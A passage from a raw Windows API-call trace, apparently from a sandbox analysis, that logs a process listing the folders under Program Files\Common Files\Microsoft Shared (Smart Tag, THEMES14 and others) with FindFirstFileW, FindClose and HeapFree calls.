0x6a0000 [0169.362] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.362] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.362] GetProcessHeap () returned 0x6a0000 [0169.362] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0169.362] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0169.529] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0169.530] GetProcessHeap () returned 0x6a0000 [0169.530] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0169.530] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0169.677] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0169.677] GetProcessHeap () returned 0x6a0000 [0169.677] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0169.677] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0169.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0169.719] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0169.720] GetProcessHeap () returned 0x6a0000 [0169.720] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0169.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0169.722] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.722] GetProcessHeap () returned 0x6a0000 [0169.722] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0169.722] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0169.723] GetProcessHeap () returned 0x6a0000 [0169.723] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.723] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0169.723] GetProcessHeap () returned 0x6a0000 [0169.723] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0169.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0169.726] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0169.726] GetProcessHeap () returned 0x6a0000 [0169.726] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0169.726] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0170.122] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0170.123] GetProcessHeap () returned 0x6a0000 [0170.123] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0170.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0170.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.124] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.124] GetProcessHeap () returned 0x6a0000 [0170.124] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.124] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0170.124] GetProcessHeap () returned 0x6a0000 [0170.124] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0170.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0170.140] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.140] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.140] GetProcessHeap () returned 0x6a0000 [0170.140] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.140] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.141] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.141] GetProcessHeap () returned 0x6a0000 [0170.141] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.141] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.141] GetProcessHeap () returned 0x6a0000 [0170.141] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.141] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.141] GetProcessHeap () returned 0x6a0000 [0170.141] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.142] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.142] GetProcessHeap () returned 0x6a0000 [0170.142] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.142] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.142] GetProcessHeap () returned 0x6a0000 [0170.142] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.142] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.142] GetProcessHeap () returned 0x6a0000 [0170.142] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.142] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.142] GetProcessHeap () returned 0x6a0000 [0170.143] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.143] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.143] GetProcessHeap () returned 0x6a0000 [0170.143] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.143] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.143] GetProcessHeap () returned 0x6a0000 [0170.143] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.143] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.143] GetProcessHeap () returned 0x6a0000 [0170.143] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.144] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.144] GetProcessHeap () returned 0x6a0000 [0170.144] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.144] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.144] GetProcessHeap () returned 0x6a0000 [0170.144] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.144] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.144] GetProcessHeap () returned 0x6a0000 [0170.144] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.144] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.144] GetProcessHeap () returned 0x6a0000 [0170.144] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.145] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.145] GetProcessHeap () returned 0x6a0000 [0170.145] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.145] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.145] GetProcessHeap () returned 0x6a0000 [0170.145] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.145] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.145] GetProcessHeap () returned 0x6a0000 [0170.145] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.146] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.146] GetProcessHeap () returned 0x6a0000 [0170.146] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", 